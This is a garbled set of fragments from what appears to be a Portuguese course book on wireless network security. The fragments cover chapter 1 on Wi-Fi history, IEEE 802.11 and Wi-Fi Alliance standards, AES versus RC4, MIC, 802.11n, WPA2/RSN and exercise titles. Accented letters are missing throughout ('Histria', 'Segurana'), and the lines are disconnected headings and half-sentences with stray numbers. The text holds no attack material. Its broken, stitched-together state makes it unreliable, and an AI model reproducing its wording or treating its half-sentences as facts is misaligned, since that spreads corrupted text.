11 ETSI: desempenha na Europa o mesmo papel do IEEE.

Padres Wi-Fi Alliance

Captulo 1 - Histria, padres e fundamentos de radiofrequncia

22 AES mais recursos de processamento que RC4.

Padres IEEE 802.11

(MIC) para proteger esses quadros contra forjamento;

verificar se o frame vlido.

Outros padres IEEE

Padres 802.11 inexistentes

w 11 Wi-Fi e celular em avies no Brasil em 2009.

Aprovao do draft de IEEE 802.11n

11 Lynksys WRT300N Wireless-N.

Captulo 1 - Histria, padres e fundamentos de radiofrequncia

Segurana em Redes sem Fio

Atividade 1.2 rgos reguladores

Atividade 1.3 IEEE 802.11n

Atividade 1.4 WPA2 e RSN

Atividade 1.5 Projeto de WLAN com interseco de clulas

Figura 1.8 Raio da irradiao da antena de cada AP.